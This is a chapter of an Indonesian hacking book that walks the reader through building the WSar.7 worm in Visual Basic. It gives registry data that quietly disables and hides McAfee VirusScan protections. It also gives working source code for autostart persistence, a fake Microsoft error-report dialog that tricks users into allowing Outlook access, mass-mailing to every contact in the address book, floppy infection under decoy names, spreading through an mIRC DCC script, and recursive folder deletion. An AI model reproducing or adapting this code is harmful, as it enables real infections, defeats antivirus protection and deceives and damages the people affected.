BAB 13WORM WSar.7
Worm dasar 7 mendemonstrasikan suatu contoh internet worm lainnya, dengan pengiriman e-mail ber-attachment dan me-manfaatkan aplikasi mIRC sebagai metode penyebaran.
WSar.7 menggunakan icon ekstensi txt dan akan membuka aplikasi Notepad apabila user mengeksekusinya. Metode ini juga digunakan oleh worm Pesin walaupun worm Pesin menggunakan metode yang sedikit berbeda. WSar.7 tergantung pada path file utama sedangkan Pe-sin tergantung pada parameter tambahan dalam pengeksekusiannya.
Penulis juga mendemonstrasikan bagaimana suatu worm mampu 'menjinakan’ suatu antivirus tanpa harus menghapus file antivirus ataupun mengakhiri proses antivirus tersebut. Penulis memilih McAfee VirusScan versi 8 atau 9 sebagai bahan percobaan karena antivirus versi ini memiliki fasilitas ScriptStopper yang secara 'membabi buta’ akan menghentikan proses Scripting dan menampilkan kotak dialog konfirmasi, walaupun sebenarnya proses scripting tersebut bukan berasal dari suatu worm atau virus .
180Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
13.1 COMPARISON METHODEPada prinsipnya setiap pengaturan yang bersifat tidak tetap atau dapat diubah pada setiap aplikasi termasuk antivirus umumnya disimpan dalam suatu file konfigurasi, dan lebih sering tersimpan pada system registry Windows, sehingga perlu untuk mempelajari bagaimana mengatur konfigurasi suatu aplikasi secara manual dengan meman-faatkan menu Help atau dengan membaca buku manualnya.
Berikut ini adalah contoh langkah-langkah yang penulis sebut sebagai comparison methode atau metode perbandingan, yang akan digunakan pada WSar.7.
1. Langkah pertama adalah membuka aplikasi Registry Editor, kemu-dian mengekspor dan menyimpan nilai registry yang dimiliki aplikasi antivirus. Dalam hal ini, antivirus masih dalam konfigurasi default dan belum diadakan suatu perubahan apapun. Biasanya registry untuk software yang terinstal, terletak pada key berikut:
HKEY_CURRENT_USER\SOFTWARE\HKEY_LOCAL_MACHINE\SOFTWARE\
Dalam hal ini McAfee VirusScan menyimpan konfigurasinya pada key:
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com
Dengan subkey sebagai berikut:
AgentAgent\AppsAgent\Apps\VSOAgent\LinksAgent\OEMAgent\RegwizAgent\ResultLogAgent\SecurityNewsAgent\SecurityNews\OEMAgent\UpdateAgent\Update\Download
181Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Agent\Update\Download\McUpdMgrLogAgent\Update\ResultLogRegWizRegWiz\InstallerSharedModulesSharedModules\c:%progra~1%mcafee.com%shared%dunzip32.dllSharedModules\c:%progra~1%mcafee.com%shared%mcappins.exeSharedModules\c:%progra~1%mcafee.com%shared%mcappins.infSharedModules\c:%progra~1%mcafee.com%shared%mghtml.exeSharedModules\c:%progra~1%mcafee.com%shared%mghtml.infVirusscan OnlineVirusscan Online\AVERTVirusscan Online\CustomizeVirusscan Online\Customize\ActiveShieldVirusscan Online\Customize\AlertsVirusscan Online\Customize\Alerts\WormStopperVirusscan Online\Customize\MenuVirusscan Online\Customize\Menu\1029Virusscan Online\Customize\Menu\1030Virusscan Online\Customize\Menu\1031Virusscan Online\Customize\Menu\1033Virusscan Online\Customize\Menu\1279Virusscan Online\Customize\Menu\2057Virusscan Online\Customize\Menu\257Virusscan Online\Customize\Menu\258Virusscan Online\Customize\Menu\260Virusscan Online\Customize\Menu\264Virusscan Online\Customize\Menu\266Virusscan Online\Customize\Menu\515Virusscan Online\Customize\odsVirusscan Online\Customize\OptionsVirusscan Online\Customize\Options\AdvAShieldVirusscan Online\Customize\Options\AdvEmailScanVirusscan Online\Customize\Options\AdvFTScanVirusscan Online\Customize\Options\AdvScriptStopperVirusscan Online\Customize\Options\AdvWormStopperVirusscan Online\Customize\Options\AShieldVirusscan Online\Customize\Options\SchedularVirusscan Online\Customize\Options\VMapVirusscan Online\Customize\ShortCutsVirusscan Online\Customize\ShortCuts\aruninstallVirusscan Online\Customize\ShortCuts\dsscannowVirusscan Online\Customize\ShortCuts\psashieldVirusscan Online\Customize\ShortCuts\psediskVirusscan Online\Customize\ShortCuts\psquarantineVirusscan Online\Customize\ShortCuts\psscannowVirusscan Online\Customize\ShortCuts\psuninstallVirusscan Online\Customize\ShortCuts\psvsoVirusscan Online\Customize\UninstallVirusscan Online\Customize\VirusInfoVirusscan Online\InstallerVirusscan Online\LinksVirusscan Online\propertyVirusscan Online\property\notifyVirusscan Online\RescueDisk
182Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Kemudian menyimpan ha-sil ekspor registry tersebut dengan nama ENABLE.REG
2. Langkah berikutnya adalah membuka panel konfigurasi, dengan meng-klik kanan icon McAfee VirusScan pada system tray, menyorot VirusScan dan memilih Options
3. Akan tampil kotak dialog konfigurasi Options, terdiri dari tiga tab, termasuk tab ActiveShield yang menjadi tab utama dimana tab ini memiliki beberapa opsi yang semuanya dalam keadaan terseleksi, yaitu:
a. Start ActiveShield when Windows starts: jika opsi ini terseleksi berarti ActiveShield akan aktif saat Windows startup, dimana ActiveShield bekerja secara background yang akan melind-ungi system dari malcode (program perusak/jahat) saat run-time.
b. Scan e-mail and attachments: jika opsi ini terseleksi maka Ac-
183Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
tiveShield akan memeriksa e-mail dan attachment yang masuk (POP3), dan yang keluar (SMTP) untuk beberapa aplikasi e-mail yang terbilang populer, seperti Outlook Express, MS Outlook, Netscape Messenger, Netscape Mail, Eudora Light, Eudora Pro, Pegasus dan lain sebagainya.
c. Scan inbound instant message attachments: jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan saat suatu e-mail ber-attachment secara instant dibuka oleh suatu aplikasi seperti MSN Messenger, Yahoo Messenger dan AOL Instant Messenger.
Bersihkan seleksi dengan menghilangkan tanda check pada CheckBox untuk opsi Start ActiveShield when Windows starts, dan opsi Scan inbound instant message attachments.
4. Klik tombol Advanced pada tab ActiveShield untuk pengaturan konfig-urasi yang lebih mendetail, dan sebuah kotak dialog baru terbuka dengan lang-sung menuju pada tab ActiveShield, kemudian bersihkan seleksi untuk setiap opsi yang ada.
a. Scan for new unknown viruses: jika opsi ini ter-pilih maka ActiveShield menggunakan teknik heuristic, dimana anti-virus mendeteksi worm atau virus baru dengan mencocokan suatu pola yang biasanya digunakan worm atau virus.
b. Pada frame File Types to Scan, jika opsi All files terseleksi maka ActiveShield akan memeriksa seluruh jenis file, tetapi jika opsi yang aktif adalah Program files and documents only maka ActiveShield hanya akan memeriksa file program dan file dokumen saja.
184Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
5. Klik tab E-mail Scan. Tab ini memberikan opsi yang berkaitan dengan proses pengiriman dan penerimaan e-mail. Bersihkan seleksi untuk setiap opsi yang ada.a. Inbound e-mail messages.
Jika opsi ini terseleksi maka ActiveShield akan melaku-kan pemeriksaan apabila suatu e-mail diterima. Opsi ini memiliki sub lainnya yaitu; Automatically clean infected attachments yang berarti secara otomatis mem-bersihkan attachment yang terinfeksi, dan Prompt me when attachment needs to be cleaned yang memiliki arti agar mengkonfirmasikan terlebih dahulu dengan pengguna apabila suatu attachment perlu untuk dibersihkan dari suatu malcode.
b. Outbound e-mail messages, jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan untuk setiap e-mail yang akan dikirimkan.
6. Klik tab ScriptStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas ScriptStopper, yang berguna untuk menampilkan konfirmasi pengeksekusian untuk setiap script atau program yang me-manfaatkan penggunaan script. Kemudian bersihkan seleksi untuk setiap opsi yang ada.
185Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
7. Klik tab WormStopper. Tab ini digunakan untuk mengaktifkan atau menon-aktifkan fasilitas Worm-Stopper, yang berguna untuk menampilkan pesan peringatan jika menemukan suatu program yang memi-liki pola persis dengan suatu worm, yang cenderung mengirimkan e-mail secara masal. Bersihkan seleksi untuk setiap opsi yang ada.
8. Kini setiap opsi yang ada pada kotak dialog Advanced ActiveShield Options tidak terseleksi, klik OK untuk mengakhiri dan langsung menuju kotak dialog Options. Bersihkan seleksi pada opsi Scan e-mail and attachments, dan akhiri kotak dialog Options dengan mengklik OK.
9. Kembali pada aplikasi Registry Editor, kemudian ekspor dan simpan kembali nilai registry yang dimiliki aplikasi antivirus tersebut, dengan memberi nama file yang berbeda, misalnya DISABLE.REG.
10. Kemudian buka file ENABLE.REG dan DISABLE.REG dengan menggunakan aplikasi text editor, lalu bandingkan dan kumpulkan nilai registry yang berubah. Penulis menyarankan agar Anda menggu-nakan aplikasi yang memiliki fasilitas compare seperti UltraEdit. Dari perbandingan dua file tersebut, didapatkan beberapa perubahan nilai registry sebagai berikut:
186Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value ActiveShield:ScanHeuristic
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Key HKLM\SOFTWARE\McAfee.com\Viruss-can Online\property
Value EmailScan:Enable
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 41 90 0D 8F 5E E2 E2 A5 A3 EA AE 08 2F 64 5C E9 02 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value WS:Enable
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value ScriptStopper:Enable
187Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value ActiveShield:LoadAtStartup
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Key HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value FT:Enable
Type REG_BINARY
Data ENABLE.REG Data DISABLE.REG04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
11. Dari perubahan-perubahan tersebut dapat disimpulkan bahwa data binary yang digunakan untuk menonaktifkan fasilitas-fasilitas tersebut adalah: 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04. Sehingga untuk me-nonaktifkannya cukup memanipulasi registry dengan menggunakan data-data tersebut.
188Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
12. Seorang worm writer tentunya akan berfikir agar segala manipulasi yang dilakukannya tidak diketahui oleh user, atau sedikitnya akan menyulitkan advanced user untuk mengembalikan manipulasi terse-but, demikian pula dengan manipulasi konfigurasi antivirus ini, setiap user dengan mudah mengaktifkan segala fasilitas pada antivirus hanya dengan membuka kotak dialog Options dan Advanced Option untuk kemudian memberi seleksi untuk setiap opsi.
Berikut ini adalah beberapa manipulasi registry yang penulis temukan untuk menyembunyikan tab pada kotak dialog Options dan Advanced Options, sehingga akan sangat membingungkan bahkan untuk seorang advanced user sekalipun, dalam menemukan opsi-opsi tersebut.
Dialog Box Advanced ActiveShield Options
Tab ActiveShield
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvAShield
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box Advanced ActiveShield Options
Tab E-mail Scan
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Vi-russcan Online\Customi ze\Options\AdvEmailScan
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
189Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Dialog Box Advanced ActiveShield Options
Tab ScriptStopper
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customize\Options\AdvScriptStopper
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box Advanced ActiveShield Options
Tab WormStopper
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Vi-russcan Online\Customi ze\Options\AdvWormStopper
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box Options
Tab ActiveShield
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AShield
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
190Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Dialog Box Options
Tab Virus MAP Reporting
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\VMap
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box Options
Tab Scheduled Scan
Key HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\Schedular
Value State
Type REG_BINARY
Data 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Catatan: Bug ini telah penulis posting ke lab McAfee (NAI), dan untuk menghindari trik seperti ini Anda cukup menghapus semua nilai registry pada key: HKEY_LOCAL_MACHINE\SOFTWARE\McA fee.com karena aplikasi McAfee VirusScan akan segera menggunakan konfigurasi default, hal ini juga membuktikan bahwa aplikasi McAfee VirusScan sebenarnya sudah mempersiapkan diri jika sewaktu-waktu suatu worm atau virus akan menghapus konfigurasi pada nilai registry, yang akan mengakibatkan aplikasi McAfee VirusScan tidak dapat berjalan dengan normal.
191Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
13.2 ALGORITMAWSar.7 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada
suatu system komputer2. Worm menyembunyikan aplikasi file worm dari task list3. Membuka aplikasi Notepad saat user mengeksekusinya4. Memeriksa keberadaan McAfee VirusScan, dan memanipulasi
registry jika menemukannya5. Menginfeksi system dengan membuat salinan worm pada folder
Windows dan System Windows6. Memanfaatkan aplikasi mIrc dengan berusaha mengirimkan salinan
worm dengan nama wintweak.exe7. Pada saat tertentu menampilkan fake form sebagai suatu usaha
rekayasa sosial agar user mengijinkan worm mengirimkan e-mail8. Pada saat tertentu berusaha menginfeksi disket dan mengakses
printer dengan mencetak suatu pesan9. Pada tanggal 13 Oktober, worm akan menghapus folder dan sub
folder Temp, kemudian menampilkan pesan "WSar.7 Ada Pada Komputer Anda".
13.3 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.7’
Tambahkan 1 buah object Shape, 1 buah object Line, 6 buah object Label, 2 buah object CommandButton, 1 buah object TextBox, 3 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
192Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Properti object Form1
Jenis Nilai KeteranganName frmWSar7 Mengatur nama form menjadi
frmWSar7
BackColor &H80000016& Warna latar belakang diatur pada mode Light Shadow
Caption MICROSOFT WINDOWS TEAM
Caption ini berkaitan dengan rekayasa sosial yang akan digunakan.
ControlBox False Tidak menampilkan ControlBox pada form
Height 3855 Mengatur tinggi form
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.7 menggunakan icon text.ico
MaxButton False Tidak menampilkan tombol maximize
MinButton False Tidak menampilkan tombol minimize
ShowInTaskbar False Tidak tampil pada taskbar
StartUp Position 2 – Center Screen
Mengatur form agar berada ditengah layar
Visible False Tidak menampilkan form
Width 6285 Mengatur lebar form
Properti object Shape1
Jenis Nilai KeteranganBorderStyle Transparent Tidak menampilkan garis tepi
FillColor &H00FFFFFF& Warna isi menjadi putih
FillStyle 0 - Solid Metode pengisian warna menjadi solid
Height 850 Tinggi Shape
Left 0 Posisi dari kiri
Shape 0 – Rectangle Jenis Shape
Top 0 Posisi dari atas
Width 6175 Lebar Shape
193Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Properti object Line1
Jenis Nilai KeteranganBorderColor &H00808080& Abu-abu gelap
X1 0 Posisi garis pada koordinat X untuk point 1
X2 6200 Posisi garis pada koordinat X untuk point 2
Y1 810 Posisi garis pada koordinat Y untuk point 1
Y2 810 Posisi garis pada koordinat Y untuk point 2
Properti object Label1
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang
agar menjadi transparan
Caption SYSTEM WINDOWS has encountered a problem and needs to report. We are sorry for the inconvenience.
Mengatur teks pada Caption
Font Font: MS San Serif Font Style: Bold Size: 8
Mengatur huruf yang digunakan
Height 495 Tinggi Label
Left 360 Posisi dari kiri
Top 210 Posisi dari atas
Width 5415 Lebar Label
Properti object Label2
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang
agar menjadi transparan
Caption If you were in the middle of something, the information you were working on might be lost.
Mengatur teks pada Cap-tion
Height 495 Tinggi Label
Left 360 Posisi dari kiri
Top 1020 Posisi dari atas
Width 5535 Lebar Label
194Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Properti object Label3
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang
agar menjadi transparan
Caption Please tell Microsoft about this problem.
Mengatur teks pada Caption
Font Font: MS San Serif Font Style: Bold Size: 8
Mengatur huruf yang digunakan
Height 255 Tinggi Label
Left 360 Posisi dari kiri
Top 1640 Posisi dari atas
Width 5175 Lebar Label
Properti object Label4
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang
agar menjadi transparan
Caption We have created an error report that you can send to us. We will treat this report as confidential and anonymous.
Mengatur teks pada Caption
Height 495 Tinggi Label
Left 360 Posisi dari kiri
Top 1875 Posisi dari atas
Width 5175 Lebar Label
Properti object Label5
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang agar
menjadi transparan
Caption To see what data this error report contains,
Mengatur teks pada Caption
Height 255 Tinggi Label
195Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Left 360 Posisi dari kiri
Top 2600 Posisi dari atas
Width 3135 Lebar Label
Properti object Label6
Jenis Nilai KeteranganBack Style 0 - Transparent Mengatur latar belakang agar
menjadi transparan
Caption To see what data this error report contains,
Mengatur teks pada Caption
ForeColor &H00FF0000& Mengatur warna huruf menjadi biru
Height 255 Tinggi Label
Left 3480 Posisi dari kiri
Top 2600 Posisi dari atas
Width 855 Lebar Label
Properti object Command1
Jenis Nilai Keterangan(Name) CmdSend Mengatur nama CommandButton menjadi
CmdSend
Caption Send Error Report Mengatur teks pada Caption
Height 325 Tinggi object
Left 3160 Posisi dari kiri
Top 2950 Posisi dari atas
Width 1575 Lebar object
196Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Properti object Command2
Jenis Nilai Keterangan(Name) cmdDontSend Mengatur nama CommandButton menjadi
cmdDontSend
Caption Don’t Send Mengatur teks pada Caption
Height 325 Tinggi object
Left 4890 Posisi dari kiri
Top 2950 Posisi dari atas
Width 1100 Lebar object
Properti object Timer1
Jenis Nilai KeteranganName tmrSpreading Mengatur nama Timer menjadi tmrSpreading
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer3
Jenis Nilai KeteranganName tmrWinForce Mengatur nama Timer menjadi tmrWinForce
Enable True Pastikan Timer akan aktif saat form di-load
Interval 50 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.05 detik
197Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Properti object Text1
Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath
Visible False TextBox tidak akan diperlihatkan, object ini ditambahkan dengan tujuan untuk mendukung suatu procedure pada Form
Tampilan form WSar.7
Properti Module1
Jenis Nilai KeteranganName mdlDeltree Mengatur nama module menjadi mdlDeltree
Properti Module2
Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-
tryAPI
Properti Module3
Jenis Nilai KeteranganName mdlWinForce Mengatur nama module menjadi mdlWinForce
198Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Ketik kode program berikut ini pada module mdlDeltree:
Function Deltree(ByVal dirpath As String) As Long On Error GoTo nogo Dim filetemp As String Dim etrap As Long If Right(dirpath, 1) <> "\" Then dirpath = dirpath & "\" filetemp = Dir(dirpath, vbDirectory) Do While Trim(filetemp) <> "" If Trim(filetemp) <> "." And Trim(filetemp) <> ".." Then If (GetAttr(dirpath + filetemp) And vbDirectory) = _ vbDirectory Then etrap = Deltree(dirpath + filetemp) filetemp = Dir(dirpath, vbDirectory) Else filetemp = Dir(, vbDirectory) End If Else filetemp = Dir(, vbDirectory) End If Loop filetemp = Dir(dirpath + "*.*") Do While Trim(filetemp) <> ""SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop filetemp = Dir(dirpath + "*.*", vbHidden) Do While Trim(filetemp) <> ""SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop If Right(dirpath, 1) = "\" Then dirpath = Mid(dirpath, 1, Len _ (dirpath) - 1) SetAttr(dirpath, vbNormal) RmDir(dirpath) Deltree = 0 Exit Functionnogo: Deltree = Err.NumberEnd Function
Ketik kode program berikut ini pada object frmWSar7:
'WSar.7 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
199Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal _ uFlags&, ByVal dwReserved&)Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255
Private Sub Form_Load() On Error Resume Next Dim mcAfeeExist As String If App.PrevInstance = True Then End If LCase(App.Path) <> LCase(SpecialFolder(1)) ThenShell (SpecialFolder(0) & "\notepad.exe"), vbNormalFocus End If mcAfeeExist = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\McAfee.com\Virusscan Online\property", "Scri" & _ "ptStopper:Enable") If mcAfeeExist <> "" Then Call McAfee_MyFriend() End If Call InfectSystem() Call mIrc()End Sub
Private Sub cmdSend_Click() On Error Resume Next Me.Hide() MsgBox("System will scan your outlook files including your add" & _ "ress book for some reason, you may see the Outlook confirm" & _ "ation dialog, please allow access and click yes in confirmatio" & _ "n box. Thanks for your contribution - Microsoft Windows Te" & _ "am.", vbOKOnly + vbInformation, "MICROSOFT WINDO" & _ "WS TEAM - PLEASE READ THIS") Call InfectMail()End Sub
Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(0) & "\wintweak.exe") FileCopy(WormFile, SpecialFolder(1) & "\kerne132.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "winsys", SpecialFolder(1) & _ "\kerne132.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt", "")End Sub
200Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 13. W
orm W
Sar.7
Private Sub tmrSpreading_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo stopit If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Me.Show() End Ifstopit:End Sub
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "readme.txt" NamaCantik(1) = "hello.txt" NamaCantik(2) = "readfirst.txt" NamaCantik(3) = "important.txt" NamaCantik(4) = "mystery.txt" NamaCantik(5) = "secret.txt" NamaCantik(6) = "crucial.txt" NamaCantik(7) = "sacred.txt" NamaCantik(8) = "joke.txt" NamaCantik(9) = "funny.txt" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*txt .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & " .exe") End IfEnd Sub
Private Sub InfectMail() On Error Resume Next Dim CountLoop, searchlist, searchemails As Integer Dim kiddie As Object Dim winfolder As Object Dim a, b, c kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) a = CreateObject("Outlook.Application") If Not a = "" Then b = a.GetNameSpace("MAPI") For searchlist = 1 To b.AddressLists.Count CountLoop = 1 c = a.CreateItem(0) For searchemails = 1 To b.AddressLists(searchlist). _ AddressEntries.Count c.Recipients.Add(b.AddressLists(searchlist).AddressEntries _ (CountLoop)) CountLoop = CountLoop + 1 Next
201Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
3. W
orm
WS
ar.7
c.Subject = "WinTweak " & Year(Now) + 1 c.Body = "Here’s a file that will tweak your windows " & _ "more faster..." c.Attachments.Add(winfolder & "\" & "wintweak.exe") c.DeleteAfterSubmit = True c.Send() Next End IfEnd Sub
Private Sub mIrc() On Error GoTo stopit Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) <> "" Then FileCopy(WormFile, mIrcPath & "\wintweak.exe")Open mIrcPath & "\script.ini" For Output As 1Print #1, "[script]"Print #1, "n0= on 1:TEXT:*hello*:#:{"Print #1, "n1= /if ( $nick == $me ) { halt }"Print #1, "n2= /msg $nick Hello.. here’s a file that will tweak you" & _ "r windows more faster..."Print #1, "n3= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n4= }"Print #1, "n5= on 1:JOIN:#:{"Print #1, "n6= /if ( $nick == $me ) { halt }"Print #1, "n7= /msg $nick Hello.. here’s a file that will increase y" & _ "our computer memory up to 64 MB..."Print #1, "n8= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n9= }"Print #1, "n10= on 1:PART:#:{"Print #1, "n11= /if ( $nick == $me ) { halt }"Print #1, "n12= /msg $nick Hello.. here’s a file that will increase" & _ "your VGA Card memory..."Print #1, "n13= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n14= }" Close(1) End Ifstopit:End Sub
